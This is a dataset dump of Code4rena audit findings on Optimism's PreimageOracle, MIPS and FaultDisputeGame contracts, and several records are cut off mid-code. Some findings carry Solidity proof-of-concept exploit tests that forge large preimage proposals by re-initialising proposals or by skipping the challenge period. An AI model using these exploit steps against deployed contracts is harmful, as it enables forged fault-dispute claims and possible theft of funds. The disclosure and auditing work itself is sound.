xanoutas/solidity-security-findings huggingface dataset:
An attacker can finalize invalid LPPs by repeating `initLPP` call with different `_partOffset`
Audit: 2024-07-optimism-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-07-optimism/blob/70556044e5e080930f686c4e5acde420104bb2c4/packages/contracts-bedrock/src/cannon/PreimageOracle.sol#L687-L688


# Vulnerability details

Large preimage proposals (LPP) allow submitters to prove that certain data is a fixed part of the large preimage that produces a specific Keccak-256 hash value. Since the preimage is large, the process of LPP finalization involves multiple transactions. Because the intermediate steps are not verified on-chain, LPP requires a challenge period during which challengers can verify the correctness of the LPP and dispute it on-chain via the `challengeLPP` and `challengeFirstLPP` functions.

The issue arises from the fact that the current implementation of `initLPP` does not check whether the proposal has already been initialized. The Spearbit report describes the impact of this issue as a potential loss of funds due to user error, as detailed in issue 5.2.5. However, the potential impact of this issue is far more severe. The impact described in issue 5.2.5 can safely be ignored as it doesn't affect protocol safety, whereas the impact described here cannot be ignored. Since these issues require completely different levels of caution from the Optimism team, I believe this issue cannot be considered a duplicate of 5.2.5.

The main observation that leads to the attack is that the `squeezeLPP` function assumes that `metaData.partOffset()` is the same offset as the one used during the `addLeavesLPP` calls. However, this assumption can be violated by repeating the `initLPP` call with a new `_partOffset` after the challenge period but before the `squeezeLPP` call. This will require an attacker to burn the previous bond. By doing this, a malicious submitter can finalize an invalid proposal, as the `proposalParts` will contain a part with the old offset.
```solidity
uint256 partOffset = metaData.partOffset();
preimagePartOk[finalDigest][partOffset] = true;
preimageParts[finalDigest][partOffset] = proposalParts[_claimant][_uuid];
```
I want to emphasize that the initial LPP is perfectly valid and cannot be challenged. The finalized part in `preimageParts` will still be part of the preimage, but the offset of this part will be incorrect. Which essentially makes the finalized preimage part invalid.
 
The full attack is demonstrated in the POC below.

## Impact
This issue demonstrates that the malicious submitter can finalize an invalid LPP preimage part by repeating `initLPP` call with a different `_partOffset`. Since this data is assumed to be correct and is used in the `MIPS.sol`, this attack allows a malicious submitter to successfully challenge valid claims and forge invalid claims that cannot be challenged. In summary, the attack has no preconditions, can be executed by anyone, and completely breaks the fault dispute game logic. That's why I believe the severity is HIGH.

## Proof of Concept
```solidity
contract PreimageOracle_LargePreimageProposals_Test is Te
An attacker can bypass the challenge period during LPP finalization
Audit: 2024-07-optimism-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-07-optimism/blob/70556044e5e080930f686c4e5acde420104bb2c4/packages/contracts-bedrock/src/cannon/PreimageOracle.sol#L657


# Vulnerability details

Large preimage proposals (LPP) allow submitters to prove that certain data is a fixed part of the large preimage that produces a specific Keccak-256 hash value. Since the preimage is large, the process of LPP finalization involves multiple transactions. Because the intermediate steps are not verified on-chain, LPP flow requires a challenge period during which challengers can verify the correctness of the LPP and dispute it on-chain via the `challengeLPP` and `challengeFirstLPP` functions.

The issue arises from the fact that the current implementation of the `squeezeLPP` function allows a malicious submitter to bypass the challenge period and finalize an invalid proposal. I've provided a detailed description of why it is possible below.

The `squeezeLPP` function checks that the challenge period is still active using this check:
```solidity
if (block.timestamp - metaData.timestamp() <= CHALLENGE_PERIOD) revert ActiveProposal();
```
While it looks correct, the problem here is that the timestamp is not initialized in the `initLPP` function. If the `metadata.timestamp()` is zero this check will always succeed (assuming that `block.timestamp > CHALLENGE_PERIOD`). The only place where `metadata.timestamp` is set is the `addLeavesLPP` function, if the attacker provided a true value for the `_finalize` argument.
```solidity
if (_finalize) {
    metaData = metaData.setTimestamp(uint64(block.timestamp));

    // If the number of bytes processed is not equal to the claimed size, the proposal cannot be finalized.
    if (metaData.bytesProcessed() != metaData.claimedSize()) revert InvalidInputSize();
}
```
While it may seem logical, the current flow does not require the submitter to provide a true value for the `_finalize` argument in any of their calls. This fact is demonstrated in the POC below. This means that the submitter can make the necessary number of `addLeavesLPP` calls with `_finalize = false` and then call `squeezeLPP` immediately after (since the `metadata.timestamp` remains uninitialized), without having to wait for the challenge period to pass. Since there is no challenge period, a malicious submitter can submit invalid proposals without the risk of being challenged.

The full attack is demonstrated in the POC below.

## Impact
This issue demonstrates that a malicious submitter can bypass the challenge period and finalize invalid LPPs. Since this data is assumed to be correct and is used in the `MIPS.sol`, this attack allows a malicious submitter to successfully challenge valid claims and forge invalid claims that cannot be challenged. In summary, the attack has no preconditions, can be executed by anyone, and completely breaks the fault dispute game logic. That's why I believe the severity is HIGH.

## Proof of Concept
```solidity
contract Preimag
An invariant violation and revert in the FaultDisputeGame.step function
Audit: 2024-07-optimism-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-07-optimism/blob/main/packages/contracts-bedrock/src/dispute/FaultDisputeGame.sol#L255


# Vulnerability details

## Impact
While the following code has a comment stating that the *invariant( is that the step that is getting submitted in `FaultDisputeGame.step` is unacceptable **unless** the move position is `1` ***below*** the `MAX_GAME_DEPTH`:
```solidity
        // INVARIANT: A step cannot be made unless the move position is 1 below the `MAX_GAME_DEPTH`
        if (stepPos.depth() != MAX_GAME_DEPTH + 1) revert InvalidParent();
```
, the actual assertion that is performed, *which if resolves to `true`, leads to a `revert InvalidParent();` error*, is that the move's depth (`stepPos.depth()`) is not `1` **ABOVE** the `MAX_GAME_DEPTH`.

Which means that the `MAX_GAME_DEPTH` can be exceeded by `1`.

And also that if the `stepPos.depth()` is `!=` `MAX_GAME_DEPTH`, then there'll be a revert.

It will not revert if the `stepPos.depth() == MAX_GAME_DEPTH`.

## Proof of Concept
I believe that if the invariant is correctly described in the comment, the PoC is likely redundant.

## Tools Used
Manual review.

## Recommended Mitigation Steps
I humbly believe that the proper way to assert the condition stated in the invariant annotation's comment is the following:
```diff
        // INVARIANT: A step cannot be made unless the move position is 1 below the `MAX_GAME_DEPTH`
-       if (stepPos.depth() != MAX_GAME_DEPTH + 1) revert InvalidParent();
+       if (stepPos.depth() != MAX_GAME_DEPTH - 1) revert InvalidParent();
```

Or maybe:
```diff
        // INVARIANT: A step cannot be made unless the move position is 1 below the `MAX_GAME_DEPTH`
-       if (stepPos.depth() != MAX_GAME_DEPTH + 1) revert InvalidParent();
+       if (stepPos.depth() <= MAX_GAME_DEPTH - 1) revert InvalidParent();
```


## Assessed type

DoS
MIPS: The `rtReg` will be incorrectly overwritten for store instructions (`opcode >= 0x28`)
Audit: 2024-07-optimism-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-07-optimism/blob/main/packages/contracts-bedrock/src/cannon/MIPS.sol#L733-L739


# Vulnerability details

For `opcode >= 0x28` (store instructions), the `rt` register should not be overwritten, instead this is the register where the data is copied from to memory by the store instructions.

However, in the code below, the register that is written to `rdReg` will be assigned to `rtReg` for store instructions (`opcode >= 0x28`)

[MIPS.sol#L733-L739](https://github.com/code-423n4/2024-07-optimism/blob/main/packages/contracts-bedrock/src/cannon/MIPS.sol#L733-L739)
```solidity
            } else if (opcode >= 0x28 || opcode == 0x22 || opcode == 0x26) {
                // store rt value with store
                rt = state.registers[rtReg];

                // store actual rt with lwl and lwr
                rdReg = rtReg;
            }
```

This means at the very end of the execution the `rtReg` is going to get overwritten, with `val`:

[MIPS.sol#L804](https://github.com/code-423n4/2024-07-optimism/blob/main/packages/contracts-bedrock/src/cannon/MIPS.sol#L804)
```solidity
            // write back the value to destination register
            return handleRd(rdReg, val, true);
```

Here, the `val` can be different from the original value stored in the `rt` register because it can be the combination of the bytes stored in memory and the bytes stored in `rt`. For instance, consider the `sb` instruction:

[MIPS.sol#L1018-L1023](https://github.com/code-423n4/2024-07-optimism/blob/main/packages/contracts-bedrock/src/cannon/MIPS.sol#L1018-L1023)
```solidity
                //  sb
                else if (opcode == 0x28) {
                    uint32 val = (rt & 0xFF) << (24 - (rs & 3) * 8);
                    uint32 mask = 0xFFFFFFFF ^ uint32(0xFF << (24 - (rs & 3) * 8));
                    return (mem & mask) | val;
                }
```

A high-level of what the above instruction is doing is it is taking the upper 24 bits stored in the memory address pointed to by `rs` and the lower 8 bits stored in the `rt` register, then concatenates it to produce the 32-bit `val` which is going to be stored in the memory address pointed to by `rs`. However, it's also going to be incorrectly stored in the `rt` register

So in the end, the `sb` instructions will have an unintended side effect of overwriting the first 24 bits of the `rt` register (also applies to the other store instructions) which is going to lead to unintended consequences.
## Impact

If the L2 STF when translated to MIPS consists of store instructions, this will lead to very egregious errors where the register pointed to by `rt` will become corrupted when it should not, leading to unintended consequences (such as leading to a correct output root not being able to be confirmed because the MIPS program will report an invalid VM status)

## Tools Used

Manual Review

## Recommended Mitigation Steps

Zero the `rdReg` for `opcode >= 0x28`








## Asses
Large preimage proposal can be forged by bypassing challenge period
Audit: 2024-07-optimism-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-07-optimism/blob/2e11e15e7a9a86f90de090ebf9e3516279e30897/packages/contracts-bedrock/src/cannon/PreimageOracle.sol#L416-L693


# Vulnerability details

## Impact
An attacker can forge arbitrary LPPs by submitting an invalid state transition and bypassing the challenge period, preventing users from disputing the proposal. This can be used by an attacker to forge a receipt.

## Proof of Concept
Note that this PoC only supports manipulating an offset which is block-aligned, further work is needed to support manipulating an offset which crosses two blocks, but that is left as an exercise to the reader.

```
    function test_exploit_bypassChallengePeriod() public {
        // make sure we're using a realistic timestamp
        vm.warp(1721103748);

        // here is the original payload, this is the hash we want to collide
        bytes memory data = abi.encodePacked("Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.");

        // here is the offset we're interested in manipulating
        uint32 offset = 40;

        // here is the value we want to spoof
        bytes32 desiredValue = keccak256(abi.encodePacked("femboys"));

        /* BEGIN EXPLOIT */
        uint256 currentBlock = 0;

        // manually pad our data
        bytes memory paddedData = LibKeccak.padMemory(data);

        // initialize our request
        oracle.initLPP{ value: oracle.MIN_BOND_SIZE() }(TEST_UUID, offset + 8, uint32(data.length));

        // generate commitments
        LibKeccak.StateMatrix memory stateMatrix;
        bytes32[] memory stateCommitments = _generateStateCommitments(stateMatrix, data);

        // generate leaves
        LibKeccak.StateMatrix memory matrix;
        PreimageOracle.Leaf[] memory leaves = _generateLeaves(matrix, data);

        // write as many input blocks until our offset
        {
            uint256 toBlock = offset / 136;
            if (toBlock - currentBlock > 0) {
                bytes memory slice = new bytes((toBlock - currentBlock) * 136);
                assembly {
                    pop(call(gas(), 0x04, 0x00, add(add(data, 0x20), mul(currentBlock, 136)), mload(slice), add(slice, 0x20), mload(slice)))
                }

                bytes32[] memory partialStateCommitments = new bytes32[](toBlock - currentBlock);
                for (uint256 i = 0; i < partialStateCommitments.length; i++) {
                    partialStateCommitments[i] = stateCommitments[currentBlock + i];
                }
                oracle.addLeavesLPP(TEST_UUID, currentBlock, slice, partialStateCommitments, false);
                
                currentBlock = toBlock;
            }
        }

        // write our corrupted block
        {
            bytes memory corrupted = new bytes(136);
            assembly {
Large preimage proposal can be forged given a controlled preimage
Audit: 2024-07-optimism-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-07-optimism/blob/2e11e15e7a9a86f90de090ebf9e3516279e30897/packages/contracts-bedrock/src/cannon/PreimageOracle.sol#L416-L693


# Vulnerability details

## Impact
An attacker can forge arbitrary LPPs if they control at least 32 bytes within the preimage. This can be used by the attacker to forge receipts by emitting an event with their desired 32 byte values.

## Proof of Concept
```
    function test_exploit_controlledDataPlacement() public {
        // here is the original payload, this is the hash we want to collide
        bytes memory data = abi.encodePacked("Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.");

        // normally, preimageParts(digest, offset) = data[offset:offset+32]
        // we're going to prove that preimageParts(digest, offset) = data[controlledOffset:controlledOffset+32]
        uint32 offset = 16;
        uint32 controlledOffset = 100; 
        
        /* BEGIN EXPLOIT */

        // initialize with a fake offset so we can guarantee a write to proposalParts
        oracle.initLPP{ value: oracle.MIN_BOND_SIZE() }(TEST_UUID, controlledOffset+8, uint32(data.length));

        // generate the state commitments and add the leaves
        LibKeccak.StateMatrix memory stateMatrix;
        bytes32[] memory stateCommitments = _generateStateCommitments(stateMatrix, data);
        oracle.addLeavesLPP(TEST_UUID, 0, data, stateCommitments, true);

        // generate the leaves
        LibKeccak.StateMatrix memory matrix;
        PreimageOracle.Leaf[] memory leaves = _generateLeaves(matrix, data);

        // generate the proofs
        (, bytes32[] memory preProof) = _generateProof(leaves.length - 2, leaves);
        (, bytes32[] memory postProof) = _generateProof(leaves.length - 1, leaves);

        // nothing to challenge!
        vm.warp(block.timestamp + oracle.challengePeriod() + 1 seconds);

        // exploit!
        oracle.initLPP{ value: oracle.MIN_BOND_SIZE() }(TEST_UUID, offset, uint32(data.length));

        // squeeze
        LibKeccak.StateMatrix memory preMatrix = _stateMatrixAtBlockIndex(data, leaves.length - 1);
        oracle.squeezeLPP({
            _claimant: address(this),
            _uuid: TEST_UUID,
            _stateMatrix: preMatrix,
            _preState: leaves[leaves.length - 2],
            _preStateProof: preProof,
            _postState: leaves[leaves.length - 1],
            _postStateProof: postProof
        });

        bytes32 desiredValue;
        assembly { desiredValue := mload(add(add(data, 0x20), controlledOffset)) }

        bytes32 finalDigest = _setStatusByte(keccak256(data), 2);
        assertTrue(oracle.preimagePartOk(finalDigest, offset));
        assertEq(oracle.preimageLengths(finalDigest), data.length);
        assertEq(oracle.preimageParts(finalD
Upgraded Q -> 2 from #45 [1723151163405]
Audit: 2024-07-optimism-findings
Severity: MEDIUM

Judge has assessed an item in Issue #45 as 2 risk. The relevant finding follows:

 [QA-02] MIPS: The MIPS VM does not throw when an unaligned effective memory address is used for certain instructions
As per the MIPS spec, certain instructions are supposed to throw if the effective memory address M[R[rs]+SignExtImm] is unaligned, but they currently don’t.

One such example is the sw instruction that copies 4 bytes of data from a source register to destination memory address. If an unaligned effective memory address is used, the operation proceeds as normal instead of throwing an exception as per MIPS spec:

	//  sw 
	else if (opcode == 0x2b) {
		return rt;
	}
There are many instructions that throw an exception on unaligned memory, search AddressError in the MIPS document for more details. The only impact of this is that it deviates from the MIPS specification, as the offchain MIPS VM has the same bug.
Upgraded Q -> 2 from #49 [1722958384963]
Audit: 2024-07-optimism-findings
Severity: MEDIUM

Judge has assessed an item in Issue #49 as 2 risk. The relevant finding follows:

 loadPrecompilePreimagePart() can preload data for precompiles that don’t exist yet
Links to affected code
https://github.com/code-423n4/2024-07-optimism/blob/70556044e5e080930f686c4e5acde420104bb2c4/packages/contracts-bedrock/src/cannon/PreimageOracle.sol#L335-L389

Vulnerability details
Impact
The loadPrecompilePreimagePart() function allows arbitrary addresses for the precompile call. It’s possible that future versions of the op-program codebase could request results from precompiles that currently do not exist. Since nothing is preventing these precompiles from being called today (which would result in a successful call with no return data, since it’d currently be equivalent to calling an EOA), incorrect results could be stored now to be used in the future.

Recommended Mitigation Steps
Ensure that the current PreimageOracle is not used in future versions of the codebase that use new precompile addresses that currently don’t exist. Additionally, consider adding a whitelist to loadPrecompilePreimagePart() so that it can only store results for precompile addresses that are intended to be used.
Upgraded Q -> 3 from #45 [1722608136038]
Audit: 2024-07-optimism-findings
Severity: MEDIUM

Judge has assessed an item in Issue #45 as 3 risk. The relevant finding follows:

 [QA-01] MIPS: The MIPS VM does not throw on overflow exceptions for signed arithmetic add, addi, sub instructions which deviates from MIPS spec
For the add, addi, sub instructions which perform signed arithmetic, the MIPS VM does not handle signed overflows appropriately. A signed overflow occurs when:

The sign bit of the operands are the same AND
The sign bit of the result is different from the operands
	// add
	else if (func == 0x20) {
		return (rs + rt);
	}
	// sub
	else if (func == 0x22) {
		return (rs - rt);
	}
As seen in the above snippets, the MIPS VM performs unsigned arithmetic for signed arithmetic instructions where the overflow does not lead to an exception. For example, consider the following operation: 0b0100 + 0b0100.

Performing unsigned addition will lead to a result 0b1000, but according to MIPS specification - please check the relevant information on the MIPS ISA opcodes, the signed addition must throw an exception for this result because the sign bit is 0 for both operands while the sign bit is 1 for the result. The only impact of this is that it deviates from the MIPS specification, as the offchain MIPS VM has the same bug.
Upgraded Q -> 2 from #49 [1722576444687]
Audit: 2024-07-optimism-findings
Severity: MEDIUM

Judge has assessed an item in Issue #49 as 2 risk. The relevant finding follows:

 SRAV Opcode logic is not correct
Links to affected code
https://github.com/code-423n4/2024-07-optimism/blob/70556044e5e080930f686c4e5acde420104bb2c4/packages/contracts-bedrock/src/cannon/MIPS.sol#L855-L858

Vulnerability details
Impact
The SRAV opcode logic in MIPS.sol is as follows:

// srav
else if (func == 0x07) {
    return SE(rt >> rs, 32 - rs);
}
Notice that the rt value (i.e. the 32 bit value from the rt register) is shifted the number of bits indicated by the full rs value (i.e. the 32 bit value from the rs register).

According to the MIPS32 spec, the shift amount for SRAV should only be based on the lowest 5 bits of the rs register. This means, for example, a full shift of 32 bits is impossible with SRAV, but it is indeed possible in the MIPS.sol implementation.

Fortunately, this behavior discrepancy does not seem possible to trigger in the op-program code.

Recommended Mitigation Steps
To make the code more compliant with the MIPS32 spec, consider changing the SRAV logic to the following:

// srav
else if (func == 0x07) {
    uint32 shamt = rs & 0x1F;
    return SE(rt >> shamt, 32 - shamt);
}
Upgraded Q -> 2 from #18 [1722576390396]
Audit: 2024-07-optimism-findings
Severity: MEDIUM

Judge has assessed an item in Issue #18 as 2 risk. The relevant finding follows:

 The MIPS specification states that a division operation should not result in an arithmetic exception, but the MIPS emulator reverts if the divisor is zero. https://github.com/code-423n4/2024-07-optimism/blob/70556044e5e080930f686c4e5acde420104bb2c4/packages/contracts-bedrock/src/cannon/MIPS.sol#L426 https://github.com/code-423n4/2024-07-optimism/blob/70556044e5e080930f686c4e5acde420104bb2c4/packages/contracts-bedrock/src/cannon/MIPS.sol#L436